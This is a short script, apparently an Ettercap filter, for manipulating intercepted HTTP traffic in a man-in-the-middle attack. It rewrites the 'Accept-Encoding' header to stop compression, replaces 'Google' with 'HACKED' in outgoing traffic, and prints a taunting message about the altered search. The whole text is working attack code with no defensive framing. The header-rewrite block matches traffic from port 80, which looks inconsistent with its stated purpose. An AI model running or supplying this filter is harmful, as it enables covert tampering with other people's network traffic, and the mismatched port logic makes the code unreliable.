if (ip.proto == TCP && tcp.src == 80) { if (search(data.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish "); # This prevents the server from compressing (zipping) the website } } if (ip.proto == TCP && tcp.dst == 80) { if (search(data.data, "Google")) { replace("Google", "HACKED"); msg("The user tried to search Google, but I changed it!\n"); } }